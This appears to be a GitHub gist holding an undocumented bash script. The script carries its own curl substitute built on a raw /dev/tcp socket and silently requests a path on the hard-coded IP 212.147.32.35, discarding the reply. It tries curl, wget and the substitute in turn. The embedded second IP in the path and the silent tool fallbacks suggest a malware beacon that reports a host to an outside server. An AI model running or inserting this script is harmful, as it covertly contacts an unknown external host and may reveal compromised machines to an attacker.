Skip to content

Instantly share code, notes, and snippets.

@OneYX
Created October 29, 2021 09:10
Show Gist options
  • Save OneYX/613751eb9db7a4fce0e1c99f76c294b2 to your computer and use it in GitHub Desktop.
Save OneYX/613751eb9db7a4fce0e1c99f76c294b2 to your computer and use it in GitHub Desktop.
#!/bin/bash
function __curl() {
read proto server path <<<$(echo ${1//// })
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
(while read line; do
[[ "$line" == $'\r' ]] && break
done && cat) <&3
exec 3>&-
}
if [ -x "$(command -v curl)" ]; then
curl -o /dev/null 212.147.32.35/gcae/101.37.78.108
elif [ -x "$(command -v wget)" ]; then
wget -q -O- 212.147.32.35/gcae/101.37.78.108
else
__curl http://212.147.32.35/gcae/101.37.78.108 >/dev/null
fi
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment